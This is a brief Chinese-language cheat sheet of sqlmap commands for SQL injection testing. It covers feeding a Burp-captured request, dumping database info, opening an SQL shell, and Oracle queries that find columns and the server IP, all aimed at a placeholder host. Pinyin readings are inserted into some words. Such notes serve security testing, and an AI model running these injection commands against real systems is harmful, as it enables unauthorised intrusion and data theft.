話不多說(shuō),上碼
Burp Suite 抓包注入
sqlmap -r post.txt
清除緩存記錄
sqlmap -u "a.com" --flush-session --fresh-queries
獲取數(shù)據(jù)庫(kù)版本
sqlmap -u "a.com" -b
獲取全部信息
sqlmap -u "a.com" -a
可以獲取的信息
sqlmap -u "a.com" --current-db --current-user --hostname --is-dba
- current-db: 當(dāng)前程序使用的 db 的名字
- current-user: 當(dāng)前程序使用的數(shù)據(jù)庫(kù)用戶名
- hostname: 當(dāng)前 DB 服務(wù)器的主機(jī)名
- is-dba: 當(dāng)前程序所使用的數(shù)據(jù)庫(kù)用戶是不是 dba
column 包含關(guān)鍵字
sqlmap -u "a.com" --sql-shell
sql-shell> select table_name from user_tab_columns where COLUMN_NAME like '%keyword%';
Oracle 獲取 ip 地址
sql-shell> select utl_inaddr.get_host_address from dual;
參考
https://vul-hunters.oschina.io/hunter-blogs/posts/sec-tools-sqlmap/
https://blog.51cto.com/duallay/2050094